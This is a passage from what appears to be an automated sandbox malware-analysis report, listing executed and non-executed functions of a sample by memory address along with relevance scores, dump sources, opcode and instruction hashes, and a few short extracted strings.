                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: c28045032a49f6725dd6b085380c536812ecdc2895ff7509da232a7b74626776
                                                                                                                                        • Instruction ID: 477a86146f1b1220a4d428d48339988078bc723d2c194297c06088408eb859e8
                                                                                                                                        • Opcode Fuzzy Hash: c28045032a49f6725dd6b085380c536812ecdc2895ff7509da232a7b74626776
                                                                                                                                        • Instruction Fuzzy Hash: D5118121F0F29B86F63552E418B24BC66D9DF45B50F1601BED44E871E2CC0EAE512397
                                                                                                                                        Function 00007FFD9BE792A0 Relevance: .1, Instructions: 65COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 91dabfe5fdb01730e1d66014a688f1c18dc234b0e325e8a786414472a87f7622
                                                                                                                                        • Instruction ID: 49550dbf9df7dc3999bf0ca9ce9d76821279bc42d1a3f2cc8d4bf8ad2e1baad2
                                                                                                                                        • Opcode Fuzzy Hash: 91dabfe5fdb01730e1d66014a688f1c18dc234b0e325e8a786414472a87f7622
                                                                                                                                        • Instruction Fuzzy Hash: 2C112334B19D0E4FEB68EBA490A19FA7390EF44311B40067AE04FC71E2CF2AB6058390
                                                                                                                                        Function 00007FFD9BE7911E Relevance: .1, Instructions: 61COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 185c4a223df0dddc19a6553dd7657eafdc69dbe8ae9a0377d04fb1cafdd80463
                                                                                                                                        • Instruction ID: e95fa9357b5b54d72e290d68ed6663f57f33238b1eaa22b6e062f80e34882dca
                                                                                                                                        • Opcode Fuzzy Hash: 185c4a223df0dddc19a6553dd7657eafdc69dbe8ae9a0377d04fb1cafdd80463
                                                                                                                                        • Instruction Fuzzy Hash: A6118E3570A90E8FE718AB98D4687F53394EF58311F01023BD81EC71D1CF666650C390
                                                                                                                                        Function 00007FFD9BE725D8 Relevance: .1, Instructions: 59COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: b4d04074c473bfbf03d0badc65afbe93305586e7822ae0cf773dfafedc77e268
                                                                                                                                        • Instruction ID: 1964559863c4f47631e6fa65b8aaea58fd8cba462e30d1f1340ba168f6327c97
                                                                                                                                        • Opcode Fuzzy Hash: b4d04074c473bfbf03d0badc65afbe93305586e7822ae0cf773dfafedc77e268
                                                                                                                                        • Instruction Fuzzy Hash: 94016D31F0AA4D0BF77496E504A82BD3AD9DF69340F02067BE00EE71A1DD662D454391
                                                                                                                                        Function 00007FFD9BE78125 Relevance: .1, Instructions: 57COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 2aea32b6f86930dae58f17c4770cbe4132e1f53da18d923720ba18724a052e59
                                                                                                                                        • Instruction ID: a3eaf6c62b39d0d7102ea6ee6aad3bdbc9cf42c395312c28a452bd6fa11ee9c1
                                                                                                                                        • Opcode Fuzzy Hash: 2aea32b6f86930dae58f17c4770cbe4132e1f53da18d923720ba18724a052e59
                                                                                                                                        • Instruction Fuzzy Hash: F911FE35A1990D5FDF9CDB59C4A5ABC73A1FF68310F0141BED00EE36A1CE35A9408B00
                                                                                                                                        Function 00007FFD9BE7C2A8 Relevance: .0, Instructions: 50COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 36e009b1a79743a6b83444c0dee1755741f0fc98674977d9dfbc52052b0f6956
                                                                                                                                        • Instruction ID: 52d7f0732195e913d97085785582c855d1fd1980f697d698040136315a27a686
                                                                                                                                        • Opcode Fuzzy Hash: 36e009b1a79743a6b83444c0dee1755741f0fc98674977d9dfbc52052b0f6956
                                                                                                                                        • Instruction Fuzzy Hash: A311D334E1985E9FCBA8DBC8D4A09ECB7B5FF58300F610179E00AE32A0DB356901CB54
                                                                                                                                        Function 00007FFD9BE78099 Relevance: .0, Instructions: 44COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 40f4f9acd7f4470d82a1316937f98443597e884ffd4c48b608e59f896580dd1f
                                                                                                                                        • Instruction ID: e585c7bcc644b48ec3d41e3780caf36a84702c93716ac290fd1fb7394d6fe78b
                                                                                                                                        • Opcode Fuzzy Hash: 40f4f9acd7f4470d82a1316937f98443597e884ffd4c48b608e59f896580dd1f
                                                                                                                                        • Instruction Fuzzy Hash: 56118770A1991D8FDFA8EF59C894BA8B7B1FB68301F1100A9C00EE7251CB31A980DF00
                                                                                                                                        Function 00007FFD9BE78037 Relevance: .0, Instructions: 33COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 1ef14420adb128b66e5f0e26a81aaf9c894b34bc8811bf41fdd5a401113bc24b
                                                                                                                                        • Instruction ID: 2c58a30d6ab842cd8da6a0cf53e0e36893e004daf525d5c021f4b0cdf8a9f13b
                                                                                                                                        • Opcode Fuzzy Hash: 1ef14420adb128b66e5f0e26a81aaf9c894b34bc8811bf41fdd5a401113bc24b
                                                                                                                                        • Instruction Fuzzy Hash: 9EF0D27491995DCFDF99EB98C894AACBBB1FB68305F110159800EEB651CA31A941DF40
                                                                                                                                        Function 00007FFD9BE75E03 Relevance: .0, Instructions: 26COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 796d9301c435bc602a019b7a097b8e3db4aa7dfadf2c1bad670e6c5c13e16e13
                                                                                                                                        • Instruction ID: e448c93d2fa1cba643c0bb36678d6797e808673702577f8e5702456a2fb46aa9
                                                                                                                                        • Opcode Fuzzy Hash: 796d9301c435bc602a019b7a097b8e3db4aa7dfadf2c1bad670e6c5c13e16e13
                                                                                                                                        • Instruction Fuzzy Hash: 37E09A73E0E98F4AFAB456D420F61BC2BC5FB14310B1A05B4E40D931E2EC4EBB420282
                                                                                                                                        Function 00007FFD9BE75E55 Relevance: .0, Instructions: 22COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 13f57a6afa83e5cb5214a493f3da35f79e482a83cd519e41b17ef9eb719b9d70
                                                                                                                                        • Instruction ID: 607e73d6e6955854883f6c06b7b83921f617af2aa899d9211faf99b99dc630b6
                                                                                                                                        • Opcode Fuzzy Hash: 13f57a6afa83e5cb5214a493f3da35f79e482a83cd519e41b17ef9eb719b9d70
                                                                                                                                        • Instruction Fuzzy Hash: C8E04F35D1E38C8FD771DB5089A60EC7FA4FF00340F5A01EBD549471A2DB26AB189782
                                                                                                                                        Function 00007FFD9BE7693E Relevance: .0, Instructions: 20COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 105d69edb9be0581d0749bc54c12409fb62ebf25f8cf485e8205c9f73e3866ab
                                                                                                                                        • Instruction ID: 4c324d3293eb48513212944f99bfc03ce97ca1b2f485a5506fbdbe2de59dc830
                                                                                                                                        • Opcode Fuzzy Hash: 105d69edb9be0581d0749bc54c12409fb62ebf25f8cf485e8205c9f73e3866ab
                                                                                                                                        • Instruction Fuzzy Hash: CAE09275E2941E8EDFA8DB88D4A19FEBB74FF48314F11017AC10EE31A1DA2966048750
                                                                                                                                        Function 00007FFD9BE78627 Relevance: .0, Instructions: 18COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 33690a64d96ed46d7d44b0acd12e087428e68a025e9a3060dcb16d5dd3dabc77
                                                                                                                                        • Instruction ID: 0cc78dbe463c9aab1bd7608dc093e03166827855134a96d59c41212e594d8d36
                                                                                                                                        • Opcode Fuzzy Hash: 33690a64d96ed46d7d44b0acd12e087428e68a025e9a3060dcb16d5dd3dabc77
                                                                                                                                        • Instruction Fuzzy Hash: 00E08C01A0E28A4BF73286B408B00286F94CF2734071A0AFAD18A8B2E3C91A3918A311
                                                                                                                                        Function 00007FFD9BE75E2E Relevance: .0, Instructions: 17COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 9c42dbc430f5833c511539ffe9df79fa4adfd8be1d8ae248627bd91f1698f192
                                                                                                                                        • Instruction ID: 0ab7525bd3e876e410b07185e4701c4da07427771238703a4faa5bc4252fdf4c
                                                                                                                                        • Opcode Fuzzy Hash: 9c42dbc430f5833c511539ffe9df79fa4adfd8be1d8ae248627bd91f1698f192
                                                                                                                                        • Instruction Fuzzy Hash: 31D01730B0E90E86E6B8A6A090E19B832D4FF00300B22047AD00FC35E1DD2EBB855A42
                                                                                                                                        Function 00007FFD9BE790FB Relevance: .0, Instructions: 11COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: f5c8676b47044bbb3c5db7628fae0690d09d220f5ca17a06c309ede9dc85c081
                                                                                                                                        • Instruction ID: 4ab47c645266bf6b4e8dcff510ca524fe8473709af6ab4630ac24f925048c270
                                                                                                                                        • Opcode Fuzzy Hash: f5c8676b47044bbb3c5db7628fae0690d09d220f5ca17a06c309ede9dc85c081
                                                                                                                                        • Instruction Fuzzy Hash: 99D09228B6F54BB6F238468180B923D15A8CF40701E63013DC09F438E1CD1F7B116612

                                                                                                                                        Non-executed Functions

                                                                                                                                        Function 00007FFD9B92000A Relevance: 8.8, Strings: 5, Instructions: 2583COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: -ecP$-ecP$En"O$FFA1$K=jU
                                                                                                                                        • API String ID: 0-3931298862
                                                                                                                                        • Opcode ID: d6960b08a16be5dbbd6a8ee976bccfff126b443ca811a7ff2984947d08d25ad8
                                                                                                                                        • Instruction ID: 7a81746d844ba8e707e7496d96b2151409562e9b95616493fa9126af92d8ebfe
                                                                                                                                        • Opcode Fuzzy Hash: d6960b08a16be5dbbd6a8ee976bccfff126b443ca811a7ff2984947d08d25ad8
                                                                                                                                        • Instruction Fuzzy Hash: 4B43ED74A546198FDBA8EB14C8A5BAAB3F1FF58340F5145E9D00EA72A1CF356E80CF44
                                                                                                                                        Function 00007FFD9B935DFA Relevance: 5.8, Strings: 4, Instructions: 795COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: 1_^$1_^$1_^$1_^
                                                                                                                                        • API String ID: 0-3921871852
                                                                                                                                        • Opcode ID: 9fb230721c698bd59724ba842ca772a3c42f821e1d069ddc23d222e036ac3b64
                                                                                                                                        • Instruction ID: 97a7ebf7702f65acd5c074081769d122ec14c3671137472ca4fe9124dc678676
                                                                                                                                        • Opcode Fuzzy Hash: 9fb230721c698bd59724ba842ca772a3c42f821e1d069ddc23d222e036ac3b64
                                                                                                                                        • Instruction Fuzzy Hash: 6452BB17A4E3932FD315BA78A8B68FA3F509F1222871C42F7F46D8D0E3CE1D61498695
                                                                                                                                        Function 00007FFD9B9357F2 Relevance: 2.6, Strings: 2, Instructions: 144COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: 1_^$1_^
                                                                                                                                        • API String ID: 0-1270353967
                                                                                                                                        • Opcode ID: 8500e90d3151216049d4b7f2e19c0aa7b4b8e992535537c069e4351680f8c91e
                                                                                                                                        • Instruction ID: f85a359fd4c0e58075a37d0a05fde5dd1a292f9a923869726842f0cc83c8b4ae
                                                                                                                                        • Opcode Fuzzy Hash: 8500e90d3151216049d4b7f2e19c0aa7b4b8e992535537c069e4351680f8c91e
                                                                                                                                        • Instruction Fuzzy Hash: 1951D82291F7D77FE3255A7448B64E03F20DF0612471902FBC8A98E0E3DD19650BC261
                                                                                                                                        Function 00007FFD9B935150 Relevance: 1.8, Strings: 1, Instructions: 529COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: @
                                                                                                                                        • API String ID: 0-2766056989
                                                                                                                                        • Opcode ID: 3d4d5aa43203f0310d2432757f5983d853bc2889d6c7bb2dc8a1ccaaacb579c4
                                                                                                                                        • Instruction ID: 76a9c1e71bdf29edca22487f33cd51cd053b86dbb1bd9660f4761f47260840bb
                                                                                                                                        • Opcode Fuzzy Hash: 3d4d5aa43203f0310d2432757f5983d853bc2889d6c7bb2dc8a1ccaaacb579c4
                                                                                                                                        • Instruction Fuzzy Hash: 7E12FFA3F2FBC61FE77549780469129BF63BF5928071940BFD0988A1BB9929FE11C340
                                                                                                                                        Function 00007FFD9B934A80 Relevance: 1.5, Strings: 1, Instructions: 295COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: 1
                                                                                                                                        • API String ID: 0-2212294583
                                                                                                                                        • Opcode ID: 528c5f7107643c0e9f34930cc16811e477bd91776aeb8d19edb6a6246f5a9734
                                                                                                                                        • Instruction ID: df788a321dfd6670c1da5b83a8b3974a2eaeb46ea6319af33aa8c14e13451768
                                                                                                                                        • Opcode Fuzzy Hash: 528c5f7107643c0e9f34930cc16811e477bd91776aeb8d19edb6a6246f5a9734
                                                                                                                                        • Instruction Fuzzy Hash: 65A1A762E1FAC15FEB714ABC0869359BFA3BF5154070B00BED495822B7A96EBE11C740
                                                                                                                                        Function 00007FFD9B9260A5 Relevance: 1.4, Strings: 1, Instructions: 200COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: 2_^
                                                                                                                                        • API String ID: 0-3175091680
                                                                                                                                        • Opcode ID: aa8708f3c9b2b9c015488a66ccc84a58df3e2246fcc3c976c28a383ad78af425
                                                                                                                                        • Instruction ID: 9794bcd6d0768012715989b1444e2d2c233bbf2118687976d2067e3e2b657afd
                                                                                                                                        • Opcode Fuzzy Hash: aa8708f3c9b2b9c015488a66ccc84a58df3e2246fcc3c976c28a383ad78af425
                                                                                                                                        • Instruction Fuzzy Hash: A251D403E8F7D63AE72296B8A8B64E57FA0EF5252471D41F3D0C8894A3DD087556C291
                                                                                                                                        Function 00007FFD9B933A30 Relevance: 1.4, Strings: 1, Instructions: 171COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: 2_^
                                                                                                                                        • API String ID: 0-3394477056
                                                                                                                                        • Opcode ID: b426f39b2acab429084fee939dba36b248e17d59f679cb398293b2d2c12da9d9
                                                                                                                                        • Instruction ID: 35c1a34e56878e0550df7ec861495de774f9472e338692e6871818a8e8044876
                                                                                                                                        • Opcode Fuzzy Hash: b426f39b2acab429084fee939dba36b248e17d59f679cb398293b2d2c12da9d9
                                                                                                                                        • Instruction Fuzzy Hash: A2516917B9D6176AE7187ABCB1224FC7B91EF14314B2882B7E09ECA0D3CF1560468BD1
                                                                                                                                        Function 00007FFD9B934FF4 Relevance: 1.4, Strings: 1, Instructions: 135COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: @
                                                                                                                                        • API String ID: 0-2766056989
                                                                                                                                        • Opcode ID: 767182ccaf048be67124c830edab2b40bcf5557db041c04426592faaee7c0bb6
                                                                                                                                        • Instruction ID: 8c1352c3a1641b88b2c776b1487ebac6a4aa4d5e4d6f150cb48a9e8c7c0d4b81
                                                                                                                                        • Opcode Fuzzy Hash: 767182ccaf048be67124c830edab2b40bcf5557db041c04426592faaee7c0bb6
                                                                                                                                        • Instruction Fuzzy Hash: C0413462E1F7C22FE7124A7884651E57F61AF1625071D00FBC8DC8E0F7EA2EAA05C381
                                                                                                                                        Function 00007FFD9B932A70 Relevance: .5, Instructions: 472COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 64f630bb755ee4de4f42658cc534f7445c8bb88c5df25da028854c03dc183876
                                                                                                                                        • Instruction ID: eabd933d348c1a5780779912d4aaa1dcf85019000bfb454ed9e05588221bfcdc
                                                                                                                                        • Opcode Fuzzy Hash: 64f630bb755ee4de4f42658cc534f7445c8bb88c5df25da028854c03dc183876
                                                                                                                                        • Instruction Fuzzy Hash: 6AE12917A5F7D22FE32267FCA8710F93F61AF126A431D41F7E0D84A0A7ED08A9458794
                                                                                                                                        Function 00007FFD9B932F0F Relevance: .3, Instructions: 281COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: feee97d63193e4d8d2aca71e4261d9287305eeff554058bddb604a961564c3b8
                                                                                                                                        • Instruction ID: b4981913184907a9ae4d342ef3e3fdfb7683939c5d0cb8deedfa323189c31ac5
                                                                                                                                        • Opcode Fuzzy Hash: feee97d63193e4d8d2aca71e4261d9287305eeff554058bddb604a961564c3b8
                                                                                                                                        • Instruction Fuzzy Hash: D3A12657A9F6D32FE71296B898B14FA3F70AF0226870D41F7D0D88A0A7ED18644A8750
                                                                                                                                        Function 00007FFD9B9333BF Relevance: .2, Instructions: 238COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: c2a4124c308498d3d1cf0815cbcc33b5a6ea8ca3c30592ab5698cb5bde541996
                                                                                                                                        • Instruction ID: 77080a79a1e5ceba9c0c061ab7962ea40973c3a5ebe92e1c86420210f1cbe68c
                                                                                                                                        • Opcode Fuzzy Hash: c2a4124c308498d3d1cf0815cbcc33b5a6ea8ca3c30592ab5698cb5bde541996
                                                                                                                                        • Instruction Fuzzy Hash: D071811BA8E3D32ED712B7B8A4B54F97F619F1222871C42F2E0DD490D7DE08644ACB94
                                                                                                                                        Function 00007FFD9B933E8D Relevance: .2, Instructions: 223COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 4a798d916589f270fc0b57952342f11052a144e23348448f65001f6d3aaba4b1
                                                                                                                                        • Instruction ID: f60d7462fbae75c85b1db87a7acc14bea59cdcb95fa1da4cdaaf224c8c2b6aa6
                                                                                                                                        • Opcode Fuzzy Hash: 4a798d916589f270fc0b57952342f11052a144e23348448f65001f6d3aaba4b1
                                                                                                                                        • Instruction Fuzzy Hash: 4381B453B5FAC22FFF6646B448241656F626F5358036E04FBC0D04A6ABE91ABE09C341
                                                                                                                                        Function 00007FFD9B932FD3 Relevance: .2, Instructions: 220COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 07c9e47ab80b65a8aacdf06ba26e4a198c2844aa9e1e2aaab6cea1b5492f21a0
